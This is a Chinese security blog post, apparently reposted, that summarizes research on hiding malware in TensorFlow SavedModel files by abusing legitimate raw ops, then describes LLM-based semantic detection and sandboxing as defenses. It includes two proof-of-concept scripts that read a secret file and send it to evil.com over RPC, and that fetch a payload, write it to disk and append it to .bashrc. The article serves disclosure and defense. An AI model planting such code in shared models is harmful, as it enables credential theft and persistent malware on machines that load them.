深度伪装:黑客如何把恶意软件“走私”进AI模型

admin 2026-01-27 00:19:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文揭示黑客利用TensorFlow框架中隐蔽的合法API将恶意代码植入预训练模型,绕过传统扫描实施供应链攻击。攻击者通过构建具备文件读写与网络能力的计算图实现数据窃取或投放恶意软件。文章建议采用基于LLM的语义分析技术进行检测,并强调在隔离沙箱中运行不可信模型。 综合评分: 100 文章分类: AI安全,供应链安全,漏洞POC


cover_image

深度伪装:黑客如何把恶意软件“走私”进 AI 模型

原创

Ti Ti

TIPFactory情报工厂

2026年1月26日 19:00 江苏

这是一个关于深度学习模型供应链安全的深度技术博客。博文基于 Palo Alto Networks 研究员 Mohamed Nabeel 和 Oleksii Starov 的最新研究论文《Deep Dive into the Abuse of DL APIs to Create Malicious AI Models and How to Detect Them》。

摘要:你以为你下载的是一个预训练模型,其实它是一段隐藏的恶意代码。本文将带你深入了解黑客如何利用 TensorFlow 等框架中“沉睡”的 API,绕过安全扫描,实施隐蔽的供应链攻击。


前言:AI 供应链的新危机

据 Gartner 预测,到 2025 年底,超过 70% 的企业将把 AI 模型集成到其工作流中 。为了降低成本和加速创新,开发者通常会从 Hugging Face 或 TensorFlow Hub 等公共仓库下载预训练模型 。

但这引入了一个巨大的安全隐患:模型本身就是程序

虽然业界已经对基于 Pickle 反序列化的攻击(即在模型参数中隐藏恶意代码)有所防范 ,但一种更隐蔽的攻击方式正在浮出水面——滥用深度学习框架(如 TensorFlow)的合法 API 。

🔍 传统扫描器的盲点

为什么现有的安全扫描器发现不了这些攻击?

  1. SavedModel 格式的假象安全:TensorFlow 的 SavedModel 格式通常被认为比 Pickle 更安全,因为它不直接支持任意 Python 代码执行 。
  2. 语法 vs. 语义:现有的扫描工具主要依赖语法特征检测(例如扫描是否存在 os.system 调用)。如果攻击者使用的是 TensorFlow 内部合法的、用于调试或数据处理的 API(例如 tf.raw_ops.PrintV2),扫描器通常会将其视为正常功能放行 。

攻击者正是利用了这一点,通过组合这些“合法”的 API 来构建恶意软件。


🛠️ 攻击原理:四大核心功能的“拼图游戏”

要构建一个有效的恶意软件,攻击者需要在模型计算图中实现四个核心功能(Attack Core Functions):

  1. 文件读取 (File Read):窃取敏感信息(如 SSH 密钥、AWS 凭证)。
  2. 文件写入 (File Write):写入恶意脚本或修改系统文件以持久化攻击 。
  3. 网络发送 (Network Send):将窃取的数据外传到 C2 服务器 。
  4. 网络接收 (Network Receive):从远程接收指令或下载第二阶段 Payload 。

直接使用显式的 ReadFile 或 WriteFile API 太容易暴露。寻找那些**隐蔽的(Hidden/Latent)可持久化(Persistent)**的 API。这些 API 能够被序列化保存到模型文件中,并在模型被加载或推理时触发 。

🤖 ReAct Agent:自动化挖掘“沉睡”的漏洞

为了找出这些可被滥用的 API,研究人员构建了一个基于 LLM 的 ReAct(Reasoning and Acting)Agent 系统。这个系统能够像人类安全专家一样思考和行动。

该系统的架构如下:

  1. 指挥官 (Supervisor LLM):负责规划分析步骤。
  2. 工具箱 (Tool Pool)
  • 序列化函数提取器:分析代码 AST,找出哪些函数可以被保存到模型中 。
  • 隐蔽核心功能检测器:判断该函数是否具备上述四大攻击能力 。
  • 文档检索 (RAG):查询官方文档,确认 API 的“名义”用途 。
  • 搜索工具:搜索网络上的非官方用法或 Bug 报告,挖掘未记录的功能 。

通过这个系统,研究人员成功发现了一系列可被利用的 API。例如,利用 tf.raw_ops.FixedLengthRecordDatasetV2(本意是读取数据集)来读取任意文件,或利用 tf.raw_ops.PrintV2(本意是打印日志)来写入文件 。

⚠️ 攻击演示 (Proof of Concept)

研究人员展示了如何将恶意代码隐藏在一个简单的线性回归模型中,使其变成一个致命的武器 。

场景一:敏感数据窃取 (Data Exfiltration)

  • 攻击链
  1. 受害者加载模型并进行推理。
  2. 模型利用隐藏的 FixedLengthRecordDatasetV2 读取受害者的敏感文件 。
  3. 利用 RPC 客户端 API 将文件内容发送到攻击者的服务器 evil.com 。
import tensorflow as tf
# 修复了导入路径的换行问题
from tensorflow.distribute.experimental.rpc.kernels import gen_rpc_ops
from tensorflow.python.data.ops.dataset_ops import DatasetV2, DatasetSource
from tensorflow.python.framework import tensor_spec

class MyDataSource(DatasetSource):
    def __init__(self, variant_tensor):
        super(MyDataSource, self).__init__(variant_tensor)

    @property
    def element_spec(self):
        return tensor_spec.TensorSpec([], tf.string)

class MyLinearModel(tf.Module):
    def __init__(self):
        super(MyLinearModel, self).__init__()
        self.m = tf.Variable(5.0)

    def _read_file_content(self, dataset_variant):
        """
        辅助函数:从数据集中读取内容。
        这在 py_function 中运行,可以执行 eager 模式的操作。
        """
        try:
            dataset = MyDataSource(dataset_variant)
            file_content = ""
            for m in dataset:
                # 读取文件内容并解码
                file_content += m.numpy().decode("utf-8", errors="ignore")
            return file_content
        except Exception as e:
            returnf"Error reading file: {str(e)}"

    @tf.function
    def __call__(self, feat_vec):
        # 目标敏感文件名
&nbsp; &nbsp; &nbsp; &nbsp; filename =&nbsp;"<secret_file_name>"

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 利用隐藏的核心功能:文件读取 (File Read)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 使用 FixedLengthRecordDatasetV2 读取文件,而不是显式的 ReadFile
&nbsp; &nbsp; &nbsp; &nbsp; ds = tf.raw_ops.FixedLengthRecordDatasetV2(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filenames=[filename],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; compression_type="",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer_size=1,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; record_bytes=1,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; header_bytes=0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; footer_bytes=0
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 使用 py_function 包装读取逻辑,以便在图模式下处理文件内容
&nbsp; &nbsp; &nbsp; &nbsp; file_content = tf.py_function(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; func=self._read_file_content,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp=[ds],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Tout=tf.string
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 利用隐藏的核心功能:网络发送 (Network Send)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 创建 RPC 客户端连接到攻击者的服务器
&nbsp; &nbsp; &nbsp; &nbsp; my_rpc_client, _ = gen_rpc_ops.rpc_client(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"evil.com:<port>",&nbsp;30000)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 发送读取到的文件内容
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 注意:这里将 file_content 作为参数发送
&nbsp; &nbsp; &nbsp; &nbsp; gen_rpc_ops.rpc_call(my_rpc_client, file_content, [],&nbsp;30000)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 返回正常的预测结果,掩盖恶意行为
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self.m * feat_vec

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;# 创建模型
&nbsp; &nbsp; model = MyLinearModel()

&nbsp; &nbsp;&nbsp;# 在内存中对模型进行一次预测(触发图构建)
&nbsp; &nbsp; prediction1 = model(tf.constant(3.0))

&nbsp; &nbsp;&nbsp;# 序列化并将模型保存为 SavedModel 格式
&nbsp; &nbsp;&nbsp;# 恶意的计算图(包含读取和发送文件的操作)此时被保存到了磁盘
&nbsp; &nbsp; tf.saved_model.save(model,&nbsp;"exfil_model")

&nbsp; &nbsp;&nbsp;# ----------------------------------
&nbsp; &nbsp;&nbsp;# 以下代码模拟受害者场景,可以将这部分视为在另一台机器上运行

&nbsp; &nbsp;&nbsp;# 加载并反序列化模型
&nbsp; &nbsp;&nbsp;# 受害者的代码(仅需 2 行)
&nbsp; &nbsp; loaded_model = tf.saved_model.load("exfil_model")

&nbsp; &nbsp;&nbsp;# 使用反序列化后的模型进行预测
&nbsp; &nbsp;&nbsp;# 此时,隐藏的计算图被执行:读取 <secret_file_name> 并发送给 evil.com
&nbsp; &nbsp; prediction2 = loaded_model(tf.constant(6.0))
  • 结果:仅仅运行一次预测,敏感数据即被窃取。

场景二:恶意软件投放 (Malware Dropper)

  • 攻击链
  1. 模型通过网络接收 API 从攻击者处获取恶意 Payload 。
  2. 利用文件写入 API 将 Payload 写入磁盘(例如 evil.py)。
  3. 修改受害者的 .bashrc 文件,将恶意脚本加入启动项,实现持久化运行 。
import&nbsp;tensorflow&nbsp;as&nbsp;tf
import&nbsp;os
from&nbsp;tensorflow.distribute.experimental.rpc.kernels&nbsp;import&nbsp;gen_rpc_ops

class&nbsp;MyLinearModel(tf.Module):
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self):
&nbsp; &nbsp; &nbsp; &nbsp; super(MyLinearModel, self).__init__()
&nbsp; &nbsp; &nbsp; &nbsp; self.m = tf.Variable(5.0)

&nbsp; &nbsp;&nbsp;def&nbsp;_rcv_content(self, res_future):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; 辅助函数:处理接收到的 RPC 内容
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;tf.control_dependencies([res_future]):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res_value = tf.identity(res_future)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;res_value
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnf"Error receiving content:&nbsp;{str(e)}"

&nbsp; &nbsp; @tf.function
&nbsp; &nbsp;&nbsp;def&nbsp;__call__(self, feat_vec):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# --- 核心功能 1:网络接收 (Network Receive) ---

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 连接到攻击者的服务器 (evil.com)
&nbsp; &nbsp; &nbsp; &nbsp; my_rpc_client, _ = gen_rpc_ops.rpc_client(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"evil.com:<port>",&nbsp;30000)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 发送请求 "GET_PAYLOAD" 以获取恶意代码
&nbsp; &nbsp; &nbsp; &nbsp; response_future, _ = gen_rpc_ops.rpc_call(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my_rpc_client,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tf.constant("GET_PAYLOAD", dtype=tf.string),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;30000
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 获取恶意 Payload 内容
&nbsp; &nbsp; &nbsp; &nbsp; mal_payload = tf.py_function(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; func=self._rcv_content,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp=[response_future],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Tout=tf.string
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# --- 核心功能 2:文件写入 (File Write) ---

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 搜索主目录 (Linux 环境)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 寻找 /home/ 下的第一个目录作为用户目录
&nbsp; &nbsp; &nbsp; &nbsp; home_path = tf.raw_ops.MatchingFiles(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pattern="/home/*")[0]

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 示例 Python 恶意代码路径
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 注意:在图模式下混合 os.path 和 Tensor 可能需要特殊处理,此处保留原文逻辑
&nbsp; &nbsp; &nbsp; &nbsp; malware_path = os.path.join(home_path,&nbsp;"evil.py")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 将下载的 mal_payload 写入到 evil.py
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 利用 PrintV2 的副作用写入文件
&nbsp; &nbsp; &nbsp; &nbsp; tf.raw_ops.PrintV2(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; input=mal_payload,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output_stream=malware_path
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# --- 攻击持久化 (Persistence) ---

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 构建命令载荷,准备执行恶意脚本
&nbsp; &nbsp; &nbsp; &nbsp; cmd_payload =&nbsp;"python "&nbsp;+ malware_path

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 追加到 .bashrc 文件(实现持久化)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 这样每次用户打开终端时,恶意代码都会自动运行
&nbsp; &nbsp; &nbsp; &nbsp; bashp = os.path.join(home_path,&nbsp;".bashrc")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 将执行命令写入 .bashrc
&nbsp; &nbsp; &nbsp; &nbsp; tf.raw_ops.PrintV2(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; input=cmd_payload,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output_stream="file://{}".format(bashp)
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 返回正常的模型计算结果,掩人耳目
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self.m * feat_vec

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;# 实例化模型
&nbsp; &nbsp; model = MyLinearModel()

&nbsp; &nbsp;&nbsp;# 触发执行 (在实际攻击中,这一步发生在受害者加载模型并进行推理时)
&nbsp; &nbsp;&nbsp;# output = model(tf.constant(1.0))

🛡️ 防御之道:从语法防御走向语义防御

传统的特征码扫描已经失效,我们需要更智能的防御手段。

1. 基于 LLM 的语义分析 (Semantic Analysis) 研究人员提出了一种基于 LLM 的检测方案。通过提取模型的计算图(Computational Graph),利用 Chain-of-Thought(思维链)提示技术,让 LLM 分析操作序列的逻辑 。

  • Step 1:识别潜在的高风险操作。
  • Step 2:分析操作序列。例如:如果发现“读取文件”后紧接着“发送网络请求”,这是一个典型的数据窃取行为 。
  • Step 3:判定恶意意图。

2. 最后的防线:沙箱 (Sandboxing) 无论检测手段多么先进,始终在隔离的沙箱环境中运行不可信的模型是绝对必要的 。限制模型的网络访问权限和文件系统读写权限,可以有效阻断此类攻击。

结语

AI 模型不仅是数据和算法的集合,它们本质上是可执行的程序 。随着 AI 普及,供应链攻击的手段也在不断进化。对于企业和开发者而言,建立深度的语义分析能力和严格的沙箱运行机制,是保障 AI 安全的必经之路。


参考资料:本文核心内容及图片素材来源于 Mohamed Nabeel 和 Oleksii Starov 在 Virus Bulletin 2025 发表的论文《Deep Dive into the Abuse of DL APIs to Create Malicious AI Models and How to Detect Them》。

公众号内回复“大模型DL接口研究”可以获取报告原文。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:TIPFactory情报工厂 Ti Ti《深度伪装:黑客如何把恶意软件“走私”进 AI 模型》

评论:0   参与:  0